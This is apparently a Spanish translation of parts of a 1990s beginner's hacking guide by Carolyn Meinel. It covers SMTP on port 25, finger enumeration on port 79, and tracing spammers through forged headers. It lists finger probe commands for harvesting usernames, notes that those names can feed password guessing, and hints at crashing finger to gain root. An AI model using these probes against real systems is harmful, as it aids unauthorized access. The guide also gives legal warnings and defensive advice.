Con ese 25 le estás diciendo al telnet que quieres conectarte a un puerto específico de tu víctima...digo, ordenador.


Nota para principiantes nº3: Puertos

Un puerto de un servidor es un sitio por el que la información entra y sale. En el ordenador de tu casa, ejemplos de puertos podrían ser: el monitor, que envía información hacia fuera; el teclado y el ratón, que envían información hacia dentro, y el módem, que transmite información en ambos sentidos.

Pero un servidor conectado a Internet como callisto.unm.edu tiene muchos más puertos que el típico ordenador casero. Estos puertos se identifican mediante números. Estos puertos ya no son puertos físicos, como un teclado o un puerto serie RS232 (para un módem): son puertos virtuales (software).


Hay mucha diversión en el puerto 25. Muchísima diversión. Mira, cuando te conectes al puerto 25 de un ordenador obtendrás a veces, un mensaje diciendo "acceso denegado" (cuando te encuentres con un cortafuegos); pero muchas más veces te encontrarás con algo como esto:

Trying 129.24.96.10...
Connected to callisto.unm.edu.
Escape character is '^]'.
220 callisto.unm.edu Smail3.1.28.1 #41 ready at Fri, 12 Jul 96 12:17 MDT

¡Eh, mira esto! No nos ha pedido que nos identifiquemos. Simplemente dice... ¡listo! Fíjate que está ejecutando Smail3.1.28.1, un programa empleado para componer y enviar correo electrónico.

¡Oh, Dios mío! ¿Qué hacemos ahora? Bien, si de verdad quieres parecer sofisticado, lo siguiente que tienes que hacer es pedirle a callisto.unm.edu que te diga las órdenes que puedes usar. Por norma general, cuando entras en un ordenador ajeno, "help", "?" o "man" te dará información. En este caso yo tecleo:

help

...y me aparece esto:

250 The following SMTP commands are recognized:
250
250 HELO hostname startup and give your hostname
250 MAIL FROM:<sender address> start transaction from sender
250 RCPT TO:<recipient address> name recipient for message
250 VRFY <address> verify deliverability of address
250 EXPN <address> expand mailing list address
250 DATA start text of mail message
250 RSET reset state, drop transaction
250 NOOP do nothing
250 DEBUG [level] set debugging level, default 1
250 HELP produce this help message
250 QUIT close SMTP connection
250
250 The normal sequence of events in sending a message is to state the
250 sender mail with a MAIL FROM command, give the recipients with
250 as many RCPT TO commands as are required (one address per command)
250 and then to specify the mail message text after the DATA command.
250 Multiple messages may be specified. End the last one with a QUIT.

Es decir:

250 Se reconocen las siguientes órdenes:
250
250 HELO nombre comenzar y dar el nombre de tu ordenador
250 MAIL FROM:<dirección> comenzar transacción desde el remitente
250 RCPT TO:<dirección> indicar destino para el mensaje
250 VRFY <dirección> verificar la disponibilidad del destino
250 EXPN <dirección> expandir las direcciones de las listas de correo
250 DATA comenzar a escribir el mensaje
250 RSET reiniciar conexión, abandonar la transacción
250 NOOP no hacer nada
250 DEBUG [nivel] especificar el nivel de depuración
250 HELP produce este mensaje de ayuda
250 CLOSE cerrar la conexión SMTP
250 La secuencia normal de eventos cuando se manda un mensaje es:
250 especificar la dirección del remitente con MAIL FROM,
250 indicar los destinos con tantas órdenes RCPT TO como sean necesarias
250 (una dirección en cada una), y luego especificar el texto del mensaje
250 con DATA. Se pueden mandar varios mensajes.
250 El último se indica con un QUIT.

Conseguir esta lista queda la mar de bien. Te hace parecer realmente de los buenos, porque sabes cómo hacer que la máquina te diga cómo usarla. Y eso significa que lo único que tienes que memorizar es "telnet <ordenador>" y "help". El resto puedes mirarlo mientras estés conectado. Así que, incluso si tu memoria es tan mala como la mía, puedes aprender y recordar este truco en sólo media hora. Rayos, puede que en medio minuto.

Bien, ahora...¿qué hacemos? Bien, ya te lo imaginabas, este es un programa de correo muy, pero que muy primitivo. ¿Y sabes por qué nos ha dejado entrar sin identificarnos? ¿Sabías que éste era el punto vulnerable que permitió a Robert Morris hacer saltar Internet?

El puerto 25 envía correo de un nodo al siguiente a través de Internet. Automáticamente acepta todo el correo entrante y, si el mensaje no pertenece a alguien con la dirección de ese ordenador, lo manda al siguiente ordenador de la red, haciendo que llegue al final hasta el ordenador de la persona indicada.

Algunas veces el correo va directamente del remitente al destino, pero si mandas un correo electrónico a alguien que esté bastante lejos, el mensaje puede atravesar varios ordenadores.

Hay millones de ordenadores en Internet que redirigen correo. ¡Y puedes tener acceso a casi todos ellos sin contraseña! Mejor aún, como pronto aprenderás, es fácil conseguir la dirección de Internet de todos esos ordenadores.

Algunos de estos ordenadores están muy bien protegidos, por lo que es difícil pasárselo realmente bien con ellos. Pero otros no tanto. Una de las diversiones del hacking es explorar ordenadores buscando aquellos que nos vayan bien.

Bien, ahora ya estamos en el país del Gusano de Morris...¿qué podemos hacer?


Nota para genios malignos: Morris empleó el comando "DEBUG". No pruebes esto en casa. Hoy en día, si encuentras un programa que use el puerto 25 y que acepte el comando DEBUG, es una trampa. Fíate de mí.


 

 

Cómo utilizar finger para
introducirse en una máquina


Mucha de la gente que lee esta guía se pregunta "¿dónde introduzco los comandos?". Lo siento, pero escribí esta guía tiempo atrás, cuando parecía que todo el mundo tenía acceso a una shell. Si estás utilizando un ISP normal y corriente o America Online, que dista mucho de darte una conexión real a Internet, olvida esta Guía. Si realmente quieres adentrarte en los misterios de finger, necesitas conectarte por medio de Linux o conseguir acceso a una cuenta Unix en tu proveedor. Oh, sí, si administras un ordenador con Unix, por favor, deshabilita finger, o sufrirás el ataque de incontables aficionadillos.

Carolyn Meinel.


Antes de que te sobreexcites por leer que se puede utilizar finger para entrar en una máquina conectada a Internet, pediría por favor a todos los tipos encargados de asegurar que la ley se cumpla en la Red, que se relajen. No estoy ofreciendo instrucciones paso a paso. De hecho, no estoy publicando código proveniente de esas herramientas prefrabicadas, públicamente disponibles, y que cualquier novato puede utilizar para conseguir acceso ilícito a algún ordenador. Lo que estás a punto de leer son algunos principios básicos y técnicas sobre el cracking con finger. Es más, algunas de estas técnicas son divertidas y legales, siempre y cuando no se lleven demasiado lejos. Y te dirán una o dos cosas sobre cómo puedes conseguir que tu ordenador esté conectado de manera más segura.

También puedes utilizar esta información para convertirte en un cracker. Tú eliges. Sólo ten en cuenta lo que puede significar convertirse en la "novia" de un compañero de celda que se llame Spike.


Nota para principiantes nº 1: Mucha gente cree que los términos hacking y cracking son sinónimos. "Cracking" es conseguir entrar de manera ilícita en un ordenador. "Hacking" es el universo completo de cosas que uno puede hacer con un ordenador, a menudo sin tener que infringir la ley o provocar daños.


¿Qué es finger? Es un programa que usa el puerto 79 de muchos servidores de Internet. Normalmente, se utiliza para ofrecer información de personas que son usuarios de un ordenador determinado. A modo de revisión, considérese la manera virtuosa, pero aburrida, de enviar la orden finger a un ordenador:

finger Joe_Blow@aburrido.ISP.net

Este comando provoca que tu ordenador haga un telnet al puerto 79 del servidor aburrido.ISP.net. A continuación, coge todo lo que haya en los ficheros .plan y .project de Joe Blow y lo muestra en tu pantalla.

Pero la manera de hacerlo al estilo Happy Hacker es, primero, hacer telnet a boring.ISP.net en el puerto 79, desde donde se ejecutará el programa finger:

telnet aburrido.ISP.net 79

Si eres un buen ciudadano de Internet, teclearás:

Joe_Blow

O quizás:

finger Joe_Blow

Todo esto dará el mismo resultado que teclear la orden finger Joe_Blow@boring.ISP.net.

Pero para un cracker hay montones y montones de otras cosas que intentar después de conseguir controlar el programa finger de aburrido.ISP.net mediante un telnet al puerto 79.

Pero no seré yo quien te enseñe cómo hacer estas fechorías. Cubriremos tan sólo los principios generales de cómo se utiliza normalmente el comando finger para entrar en aburrido.ISP.net. También aprenderás cosas perfectamente legales que puedes intentar con el comando finger.

Por ejemplo, algunos programas finger responderán a una orden como la siguiente:

finger @boring.ISP.net

Si por casualidad te ocurre que das con un finger lo suficientemente antiguo como para confiar tanto y aceptarte esta orden, deberías recibir algo parecido a esto:

[aburrido.ISP.net]
Login Name TTY Idle When Where
Feliz Profesor Nadie co 1d Wed 08:00 aburrido.ISP.net

Esto te dice que sólo hay un tipo conectado, y que no está haciendo nada. Esto significa que si alguien se las apaña para entrar, probablemente nadie se dará ni cuenta al menos en el mismo momento.

Otra orden a la que finger puede llegar a responder es simplemente:

finger

Si esta orden funciona, te dará una lista completa de los usuarios de este sistema. Estos nombres de usuarios pueden utilizarse después para hacerse con una o dos passwords.

Algunas veces, un sistema no pondrá restricciones a la debilidad de una password. Las passwords débiles más comunes son la ausencia de password por completo, la password igual que el nombre de usuario, el nombre o el apellido del usuario y la palabra "guest" ("invitado"). Si estas opciones no funcionan para el cracker, existen multitud de programas circulando por ahí que lo intentan con cada palabra del diccionario y cada nombre de un listín telefónico típico.


Nota para principiantes nº 2: ¿Es fácil de averiguar tu password? Si tienes acceso a una shell, la puedes cambiar con la orden:

passwd

Elige una password que no esté ni en el diccionario ni en un listín telefónico típico, que sea de al menos 6 caracteres y que incluya alguno que no sea una letra del alfabeto. Una password que esté en el diccionario pero contenga un carácter extra, no es una buena password.


Otros comandos que puedes utilizar para conseguir algunas respuestas de la orden finger son:

finger @
finger 0
finger root
finger bin
finger ftp
finger system
finger guest
finger demo
finger manager

O incluso pulsando simplemente la tecla Intro una vez que estés conectado al puerto 79, es posible que obtengas información interesante.

Existen multitud de órdenes adicionales que podrán o no funcionar, pero la mayoría de órdenes ejecutadas en muchos de los programas finger no devolverán ningún resultado, porque la mayoría de los administradores de sistemas no quieren repartir montones de información a cualquier visitante casual. De hecho, un administrador realmente prudente deshabilitará completamente el servicio de finger. De modo que no podrás ni entrar en el puerto 79 en la mayoría de las máquinas.

Sin embargo, ninguna de las órdenes que te he mostrado te permitirán conseguir acceso de root. Sólo ofrecen información.


Nota para principiantes nº 3: ¡Root! Es el Cielo del cracker puro y duro. "Root" es la cuenta de un ordenador multiusuario que te permite jugar a ser Dios. Es la cuenta desde la que puedes entrar y utilizar cualquier otra cuenta, leer y modificar cualquier fichero y ejecutar cualquier programa. Con acceso de root puedes destruir todos los datos de aburrido.ISP.net. (¡NO estoy sugiriendo que lo hagas!).


Es legal preguntarle al programa finger de aburrido.ISP.net sobre cualquier cosa que se te ocurra. Lo peor que puede pasarte es que el programa se caiga, es decir, que tenga un fallo de funcionamiento.

Crash... ¿Qué pasa si finger se cae?

Piensa un momento en lo que hace finger. Es el primer programa que te encuentras cuando haces telnet al puerto 79 de aburrido.ISP.net. Y una vez allí, le envías órdenes que provocan que lea ficheros en la cuenta de cualquier usuario del sistema que tú elijas.

Eso significa que finger puede mirar en cualquier cuenta.

Eso significa que si se cae, puedes terminar siendo root.

Por favor, si por casualidad consigues un acceso como root en la máquina de otro, ¡abandona ese ordenador inmediatamente! Será mejor que tengas una buena excusa que contar a tu administrador del sistema y a los polis, si es que te cogen.

Si hicieras que finger se cayera enviándole comandos como ///*^S, tendrás dificultades diciendo que estabas buscando información pública inocentemente.


Aviso de cárcel nº 1: Meterte en la parte de un ordenador que no está abierta al público es ilegal. Además, en Estados Unidos, si utilizas una línea telefónica o Internet cruzando la frontera de un estado para entrar de manera no autorizada a la parte no pública de un ordenador, estás cometiendo un delito federal. Aunque no causes ningún daño, es ilegal. Incluso si nada más conseguir el acceso a root terminas inmediatamente tu conexión, es ilegal.


Los que pertenecen a la élite entran en una cuenta de root a través de finger y la abandonan inmediatamente. Afirman que lo auténtico de un asalto viene de ser *capaz* de hacer cualquier cosa en aburrido.ISP.net, pero rechazando la tentación.

La élite de la élite hace algo más que rechazar la posibilidad de beneficiarse de los sistemas en los que penetran. Informan al administrador de sistemas de que han entrado en su sistema, dejando una explicación de cómo resolver el agujero de seguridad.


Aviso de cárcel nº 2: Aviso de cárcel nº 2: Cuando entras en un ordenador, las cabeceras de los paquetes que transmiten tus órdenes le revelan al administrador del sistema que estás atacando quién eres. Si estás leyendo este artículo es porque aún no sabes lo suficiente como para borrar las pistas que vas dejando. ¡Díle a la tentación que espere de momento!


Ah, pero ¿cuáles son tus posibilidades de hacerte con acceso de root a través de finger? ¿No habrán buscado ya millones de hackers la parte débil? ¿No significará eso que los programas de finger que se están ejecutando en Internet hoy están todos corregidos, de manera que no puedas acceder como root a través de ellos?

No.

La moraleja es que cualquier administrador de sistema que deje habilitado el servicio de finger en sus sistemas está corriendo un gran riesgo. Si eres el usuario de un ISP que permite utilizar finger, pregúntate esto: ¿vale la pena correr el riego el anunciar al resto de Internet tu existencia?

Bien, lo dejamos aquí. Estoy esperando ver vuestras contribuciones a esta lista. Happy Hacking, ¡y que no te pillen!

 

 

Cómo conseguir echar de sus ISPs a los que envían mensajes basura a grupos de noticias


¿Cómo te sientes cuando tus grupos de noticias serios se colapsan con 900 mensajes sexuales y esquemas piramidales del tipo "Haz dinero rápido"? Si nadie hace pagar a estas personas por su atrevimiento, pronto Usenet se inundará con esta basura.

Es realmente tentador utilizar nuestros conocimientos de hacking para quitarles de en medio, ¿verdad? Sin embargo, muchas veces es como utilizar una bomba atómica para matar a una hormiga. ¿Por qué arriesgarnos a ir a la carcel cuando hay maneras legales de mantener a estos parásitos fuera de Internet?

Esta Guía os mostrará algunas formas de luchar contra el correo basura en Usenet.

Los que envían correo basura confían en ocultar su dirección de correo cuando mandan mensajes a Usenet. Como hemos aprendido en el número 2 de la Guía del Hacking (casi) Inofensivo, es fácil falsificar la dirección de correo electrónico. Esto también es fácil hacerlo al mandar mensajes a Usenet.


Nota para principiantes nº 1: Usenet es una parte de Internet que consiste en un sistema de grupos de discusión llamados grupos de noticias o "newsgroups". Ejemplos de grupos de noticias son rec.humor, comp.misc, news.announce.newusers, sci.space.policy, y alt.sex. Hay alrededor de 10.000 grupos de noticias. Por tanto, hay gente que quiere hablar sobre física, vuelos espaciales, humor de bar y sexo. El resto es historia.


Aquí va un rápido sumario sobre cómo ocultar nuestra dirección al mandar mensajes a Usenet. Una vez más, utilizamos la técnica de hacer telnet a un puerto específico. Normalmente el puerto utilizado para Usenet sólo es accesible para aquellos que tengan cuentas en este sistema. Por tanto, necesitarás hacer telnet desde tu cuenta en tu ISP hacia tu propio ISP de esta forma:

telnet noticias.miISP.com nntp

donde tienes que sustituir la parte de tu dirección de correo que va detrás de @ por "miISP.com". También tienes la posibilidad de utilizar "119" en lugar de "nntp".

Con mi ISP obtengo el siguiente resultado:

Trying 198.59.115.25 ...
Connected to sloth.swcp.com.
Escape character is '^]'.
200 sloth.swcp.com InterNetNews NNRP server INN 1.4unoff4 05- Mar-96 ready (posting)

Como siempre que nos encontramos en un programa que no conocemos bien, pediremos ayuda:

help

Y obtendremos:

100 Legal commands
authinfo user Name|pass Password|generic <prog> <args>
article [MessageID|Number]
body [MessageID|Number]
date
group newsgroup
head [MessageID|Number]
help
ihave
last
list [active|newsgroups|distributions|schema]
listgroup newsgroup
mode reader
newgroups yymmdd hhmmss ["GMT"] [<distributions>]
newnews newsgroups yymmdd hhmmss ["GMT"] [<distributions>]
next
post
slave
stat [MessageID|Number]
xgtitle [group_pattern]
xhdr header [range|MessageID]
xover [range]
xpat header range|MessageID pat [morepat...]
xpath MessageID
Report problems to <usenet@swcp.com>

Usa tu imaginación con estas órdenes. Si lo que quieres es ocultar tu dirección al escribir desde otro ISP que no sea el tuyo, ten en cuenta que algunos servidores de Internet tienen un puerto nntp que no requiere contraseña, o que tiene una contraseña tan simple como "post". Pero... puede ser algo cansado encontrar un puerto nntp desprotegido. Como normalmente tienes que hacer esto en tu propio ISP, es mucho más complicado que ocultar tu dirección de correo.

Recuerda cuando hagas esto que tanto cuando falsificas tu dirección de correo electrónico, como cuando la falsificas al escribir en Usenet, es muy sencillo detectarlo si sabes dónde buscar. Y es posible determinar el lugar desde donde ha sido ocultado. Una vez descubres desde dónde se produce realmente el correo basura, puedes usar el ID del mensaje para decirle al administrador del sistema a quién tiene que echar.

Normalmente no serás capaz de determinar la identidad del culpable por ti mismo. ¡Pero puedes conseguir que sus ISPs cancelen sus cuentas!

Seguro que estos reyes del correo basura resurgen a través de otro ISP poco protegido. Siempre están en activo. Y, eh, ¿cuándo fue la última vez que recibiste un mensaje de "Increíble Oferta Gratis"?. Si no fuera por nuestros Vigilantes de la red, tus cuentas de correo y grupos de noticias serían constantemente bombardeados con correo basura hasta el día del Juicio Final.

Y... ¡el ataque de correo basura que te voy a enseñar es absolutamente legal! Hazlo y serás un Buen Chico certificado. Hazlo en las fiestas y enseña a tus amigos a hacerlo. ¡No hay demasiados vigilantes de correo basura ahí fuera!

Lo primero que tenemos que hacer es recordar cómo leer las cabeceras de los mensajes de Usenet y del correo electrónico.

La cabecera es algo que muestra la ruta seguida por el correo electrónico o el mensaje de Usenet hasta llegar a tu ordenador. Muestra los nombres de los servidores de Internet que han sido utilizados en la creación y transmisión del mensaje. Cuando algo se oculta, sin embargo, los nombres de las máquinas pueden estar falseados. De todas formas, los más avezados pueden utilizar los nombres reales de los servidores. Pero un hacker de verdad puede determinar si alguno de los servidores incluidos en la cabecera ha sido utilizado en realidad.

Lo primero que haremos es un ejemplo de correo basura oculto en Usenet. Un lugar realmente bueno para elaborar correo basura es alt.personals. No está tan controlado por vigilantes anti correo basura como, por ejemplo, rec.aviation.military. (¡La gente que envía correo basura a los pilotos militares lo hace bajo su propio riesgo!)

Este es un ejemplo de correo basura, como aparece con el lector de noticias de Unix, "tin":

Thu, 22 Aug 1996 23:01:56 alt.personals Thread 134 of 450
Lines 110 >>>>COMPROBACION GRATUITA E INSTANTANEA DE COMPATIBILIDAD PARA SOLTEROS Sin respuesta
ppgc@ozemail.com.au glennys e clarke at OzEmail Pty Ltd - Australia

PULSA AQUI PARA OBTENER TU PRUEBA DE COMPATIBILIDAD GRATUITA E INSTANTANEA!
http://www.perfect-partners.com.au

PORQUÉ LOS SOLTEROS EXIGENTES NOS ELIGEN

En Parejas Perfectas (Newcastle) Internacional somos confidenciales. Presentamos a damas y caballeros para amistad y matrimonio. Con 15 años de experiencia, Parejas Perfectas es uno de los más grandes y efectivos consultores de relaciones.

Por supuesto, la primera cosa que salta a la vista es la dirección de correo de retorno. Los vigilantes de Usenet suelen siempre enviar una copia a la dirección de correo del que envía correo basura.

En un grupo de noticias concurrido, como alt.personals, si tan sólo uno de cada cien lectores devuelve el correo basura a la cara del que lo ha enviado, se producirá una avalancha de "bombardeo de mensajes". Esta avalancha provoca inmediatamente la atención de los administradores del sistema del ISP sobre la presencia de alguien que envía correo basura, y adiós a su cuenta.

Para retardar la inevitable respuesta del vigilante, en la actualidad la mayoría de los que envían correo basura falsifican su dirección.

Puedes estar seguro de que la dirección de correo es ficticia. Salgo de tin y en el prompt de Unix escribo la orden:

whois ozemail.com.au

Obtengo la respuesta:

No match for "OZEMAIL.COM.AU"

Esto no prueba nada, porque la terminación "au" de la dirección de correo significa que es una dirección australiana. Desafortunadamente, "whois" no funciona en muchos lugares de Internet fuera de EEUU.

El siguiente paso es enviar algo aburrido a esta dirección. Una copia del correo basura original es normalmente lo suficientemente aburrida. Pero por supuesto, rebota con un mensaje de dirección no encontrada.

El siguiente paso es ir a la página Web anunciada. Como es lógico, tiene una dirección de correo, perfect.partners@hunterlink.net.au. ¿Por qué no me sorprende que sea diferente a la del correo basura de alt.personals?

Podemos parar aquí y perder una o dos horas mandando correo estúpido que incluye archivos de 5 MB a perfect.partners@hunterlink.net.au. Hmmm, ¿quizás imágenes gifs de alfombrillas de hipopótamo?


Aviso de cárcel: Hacer bombardeo de mensajes es una forma de meterte en graves problemas. Según la experta en seguridad informática, Ira Winkler, "El correo basura es ilegal. Si se demuestra que has provocado de forma malintencionada una pérdida económica, que incluso puede provocar horas de trabajo para recuperar el estado anterior al envío de correo basura, eres culpable de un delito. Si un sistema no está configurado apropiadamente, de forma que el directorio del correo está en el disco del sistema, puedes tirar abajo todo el sistema. Eso lo hace el delito aún más grave".


En fin... Dado que el bombardeo de mensajes intencionado es ilegal, no puedo enviar la imagen gif de la alfombrilla de hipopótamo. Así que lo que hice fue enviar una copia del correo basura a perfect.partners. Así puede parecer una simple venganza. Y en breve aprenderemos como hacer mucho más. Pero aun enviando un simple mensaje a estos tíos podemos formar parte de una ola de protesta que les eche de Internet. Si una de cada cien personas que ve su correo basura se dirige a su página web y manda un correo de protesta, recibirán cientos de protestas por cada mensaje. Este alto volumen de correo puede ser suficiente para alertar a los administradores de su ISP sobre el envío de correo basura, y adiós a su cuenta.

Observa lo que Dale Amon tiene que decir sobre el poder de las protestas a través del correo:

"No es necesario avisar para realizar un 'bombardeo de mensajes'. Sencillamente sucede. Cuando veo correo basura, automáticamente le envío una copia de su mensaje. Supongo que cientos de otras personas están haciendo lo mismo. Si ellos (los que envían correo basura) ocultan su dirección de retorno, la encuentro y la publico si tengo tiempo. Esto no me produce remordimientos ni sentimientos de culpabilidad".

En la actualidad Dale es el fundador y director técnico del mayor y más veterano ISP de Irlanda del Norte. Así que sabe algunas otras formas de cazar a los que envían correo basura. Y vamos a aprender una de ellas.

 

Cómo conseguir echar a los spammers de correo electrónico de sus ISPs


Esto se escribió al comienzo de la guerra contra los spammers que tuvo lugar en 1996. Hoy en día el problema del correo basura es mucho más serio, y los spammers trabajan de una forma mucho más sofisticada. Si quieres ver información más actualizada, echa un vistazo al libro de Happy Hacker.


¿Has estado echando spammers de Usenet? ¿Es divertido, verdad? Si sueles utilizar los grupos de noticias, te habrás dado cuenta de que poco después de enviar un anuncio siempre eres víctima del spam. En buena parte es gracias a Lightning Bolt, un programa escrito por Jeff Slayton para [manejar] extraer grandes volúmenes de direcciones de correo obtenidas de Usenet.

He aquí uno que me ha llegado recientemente:

Received:from mail.gnn.com (70.los-angeles-3.ca.dial-access.att.net
[165.238.38.70]) by mail-e2b-service.gnn.com (8.7.1/8.6.9) with SMTP id BAA14636; Sat, 17 Aug 1996 01:55:06 -0400 (EDT)
Date: Sat, 17 Aug 1996 01:55:06 -0400 (EDT)
Message-Id: <199608170555.BAA14636@mail-e2b-service.gnn.com>
To:
Subject: Para siempre
From: FREE@Heaven.com

"GRATIS" Casa y parcela en el "CIELO"

Haz tu reserva, hazlo hoy, no esperes más. Es GRATIS preguntar. Recibe tu Escritura Personalizada y un Mapa detallado de tu casa en el CIELO.

Envía tu nombre y dirección junto a una donación mínima de 1.98$ en efectivo, cheque o transferencia para pagar los costes a:

Saint Peter's Estates
P.O. Box 9864
Bakersfield,CA 93389-9864

Es una comunidad abierta, y es "GRATIS". Satisfacción total durante doscientos años. Del Guardián de la Puerta. 9PS. Te veré en las Puertas Perladas. DIOS te bendiga.

Es una buena idea suponer que este correo basura ha sido modificado. Para identificar al culpable, emplearemos la misma orden que utilizamos en el caso del spam de Usenet:

whois heaven.com

Obtenemos la siguiente respuesta:

Time Warner Cable Broadband Applications (HEAVEN-DOM)
2210 W. Olive Avenue
Burbank, CA 91506
Domain Name: HEAVEN.COM
Administrative Contact, Technical Contact, Zone Contact, Billing Contact:
Melo, Michael (MM428) michael@HEAVEN.COM
(818) 295-6671

Record last updated on 02-Apr-96.
Record created on 17-Jun-93.

Domain servers in listed order:
CHEX.HEAVEN.COM 206.17.180.2
NOC.CERF.NET 192.153.156.22

A partir de esto podemos deducir que, o bien es real (poco probable), o bien usa un truco más original que los de la mayoría. Intentemos hacer un finger a FREE@heaven.com. Primero, comprobemos la dirección de retorno del correo electrónico:

finger FREE@heaven.com

Obtenemos:

[heaven.com]
finger: heaven.com: Connection timed out

Hay varias razones para explicar este resultado. Una es que el administrador de sistemas de heaven.com ha deshabilitado el puerto de finger. Otra es que heaven.com está inactivo. Puede estar situado en un ordenador que se encuentra apagado, o simplemente no tener propietario en este momento.


Nota para principiantes: Puedes registrar nombres de dominio sin crear dicho dominio en ningún ordenador. Sencillamente pagas a Internic, entidad que registra los nombres de dominio, que lo pondrá a tu disposición. Sin embargo, si no pones en activo tu dominio en ningún ordenador de Internet en unas semanas, puedes perder el registro.


Podemos comprobar estas hipótesis utilizando el comando ping. Esta orden te permite determinar si un ordenador está conectado a Internet, y qué tal es dicha conexión.

En la actualidad se puede usar ping, al igual que muchas otras herramientas de hacker, tanto para obtener información como para usarlo como forma de ataque. Pero tendrás que esperar a una posterior Guía de Hacking (casi) Inofensivo para conocer cómo utilizan ping algunas personas. Y sí, puede ser ilegal utilizar ping como un arma. Dado el potencial daño de ping, tu cuenta puede tener deshabilitado su uso como usuario corriente. Por ejemplo, en mi ISP debo ir a un directorio específico para utilizarlo, con la orden:

/usr/etc/ping heaven.com

El resultado es:

heaven.com is alive


Nota técnica: En algunas versiones de Unix, la orden "ping" puede provocar un flujo continuo de pings sobre el objetivo. Para detener el ping, mantén apretada la tecla Control y pulsa "c". Y sé paciente, la siguiente Guía de Hacking (casi) Inofensivo te explicará más cosas sobre cómo darle un uso experto al ping para el hacking.


Bueno, esta respuesta muestra que heaven.com está conectado a Internet en este momento. ¿Permite realizar logins? Comprobémoslo:

telnet heaven.com

Nos mostrará una pantalla que solicitará un nombre de usuario y una contraseña. El resultado es:

Trying 198.182.200.1 ...
telnet: connect: Connection timed out

Bien, ya sabemos que no es posible conectarse de forma remota en heaven.com. Por tanto parece claro que no es un buen lugar para que el autor del spam haya enviado el mensaje.

¿Qué hay de chex.heaven.com? ¿Tal vez sea un mejor lugar para el origen del spam? Tecleo:

telnet chex.heaven.com 79

Es el puerto de finger. Obtengo:

Trying 206.17.180.2 ...
telnet: connect: Connection timed out

Al intentar realizar un login obtengo de nuevo la respuesta "Connection timed out". Esto nos sugiere con mucha seguridad que ni heaven.com ni chex.heaven.com son utilizados por nadie para mandar correo. Es probable que haya sido alterado en la cabecera del mensaje.

Comprobemos otro enlace de la cabecera:

whois gnn.com

La respuesta es:

America Online (GNN2-DOM)
8619 Westwood Center Drive
Vienna, VA 22182
USA
Domain Name: GNN.COM
Administrative Contact:
Colella, Richard (RC1504) colella@AOL.NET
703-453-4427
Technical Contact, Zone Contact:
Runge, Michael (MR1268) runge@AOL.NET
703-453-4420
Billing Contact:
Lyons, Marty (ML45) marty@AOL.COM
703-453-4411

Record last updated on 07-May-96.
Record created on 22-Jun-93.

Domain servers in listed order:
DNS-01.GNN.COM 204.148.98.241
DNS-AOL.ANS.NET 198.83.210.28

¡Vaya! GNN.com pertenece a America Online. America Online, como Compuserve, es una red de ordenadores que tiene servidores en Internet. No parece normal que heaven.com pueda enviar correo a través de AOL, ¿verdad? Deberíamos encontrar una cabecera que muestre que dicho correo ha sido enviado a través de la Red de Área Extensa (WAN) de alguna compañía de las de la lista Fortune 500. Esto nos confirma más todavía que el primer enlace de la cabecera, heaven.com, ha sido manipulado.

De hecho, comienza a parecer una buena teoría la de que nuestro spammer es algún novato recién graduado en AOL. Dándose cuenta de que el spam da dinero, él o ella ha obtenido una cuenta ofrecida por la subsidiaria de AOL, GNN. Una vez obtenida la cuenta, él o ella puede haber realizado el ocultamiento del correo.

Suena lógico, ¿no? Bueno, no saltemos ya a las conclusiones. Es solamente una hipótesis y puede ser incorrecta. Comprobemos el último enlace de la cabecera:

whois att.net

La respuesta es:

AT&T EasyLink Services (ATT2-DOM)
400 Interpace Pkwy
Room B3C25
Parsippany, NJ 07054-1113
US
Domain Name: ATT.NET
Administrative Contact, Technical Contact, Zone Contact:
DNS Technical Support (DTS-ORG) hostmaster@ATTMAIL.COM
314-519-5708
Billing Contact:
Gardner, Pat (PG756) pegardner@ATTMAIL.COM
201-331-4453

Record last updated on 27-Jun-96.
Record created on 13-Dec-93.

Domain servers in listed order:
ORCU.OR.BR.NP.ELS-GMS.ATT.NET199.191.129.139
WYCU.WY.BR.NP.ELS-GMS.ATT.NET199.191.128.43
OHCU.OH.MT.NP.ELS-GMS.ATT.NET199.191.144.75
MACU.MA.MT.NP.ELS-GMS.ATT.NET199.191.145.136

¡Otro dominio válido! Es un engaño razonablemente ingenioso. El culpable pudo enviar este correo desde heaven.com, gnn.com o att.net. Sabemos que heaven.com es altamente improbable porque no podemos hacer un login. Pero gnn.com y att.net siguen siendo sospechosos lugares de origen del spammer.

El siguiente paso es enviar una copia del correo incluyendo las cabeceras tanto a postmaster@gnn.com (suele ser la dirección de la persona que tomará medidas) como a runge@AOL.NET, persona que -según el comando whois- es el contacto técnico. También podemos enviar una copia a postmaster@att.net (el candidato correcto) o hostmaster@ATTMAIL.COM (contacto técnico). También enviaremos un correo a postmaster@heaven.com, abuse@heaven.com y root@heaven.com para que sepan cómo se están utilizando sus servidores.

Presumiblemente alguna de estas personas utilizará el identificador del mensaje para determinar quién falsificó el correo. Una vez se descubra el culpable, normalmente se le echará del ISP.

Pero hay un atajo. Si has sido víctima de spam por esta persona, probablemente hay mucha otra gente que también lo ha sido. Hay un grupo de noticias en Usenet donde la gente intercambia información sobre spammers tanto de correo como de Usenet, news.admin.net-abuse.misc. Hagámosle una visita y veremos lo que la gente puede hacerle a FREE@heaven.com.

Poco después encontré este mensaje:

From: bartleym@helium.iecorp.com (Matt Bartley)
Newsgroups: news.admin.net-abuse.misc
Subject: junk email - Free B 4 U - FREE@Heaven.com
Supersedes: <4uvq4a$3ju@helium.iecorp.com>
Date: 15 Aug 1996 14:08:47 -0700
Organization: Interstate Electronics Corporation
Lines: 87
Message-ID: <4v03kv$73@helium.iecorp.com>
NNTP-Posting-Host: helium.iecorp.com
...

No hay duda de que la cabecera "From" ha sido manipulada para que parezca que proviene de un nombre de dominio real. Se ha avisado a los administradores del correo de att.net, gnn.com y heaven.com. Gnn.com ha determinado que el mensaje vino de att.net, modificado para que pareciera venir de gnn. Claramente la primera cabecera "Received" es inconsistente.

Ahora sabemos que si quieres quejarte de este spam, el mejor lugar es postmaster@att.net.

¿Pero hasta qué punto funciona enviar una carta de protesta? Se lo he preguntado al dueño de un ISP, Dale Amon, y me ha contestado que "por el pequeño número de mensajes de correo basura que he visto en comparación con el número de generaciones de crecimiento exponencial de la red que he visto en 20 años, el sistema parece autorregularse fuertemente. El gobierno y las medidas legales no suelen funcionar bien".

"Aplaudo los esfuerzos de Carolyn en esta área. Tiene toda la razón. Los spammers son controlados por el mercado. Si hay suficiente gente harta, responden. Si dicha acción causa problemas a un ISP, pasa a ser un interés de tipo económico echar a los culpables, los spammers. El interés económico es a menudo mucho más fuerte y mucho más efectivo que las restricciones legales."

"Y recuerda que te digo esto como el Director Técnico del ISP más importante de Irlanda del Norte".

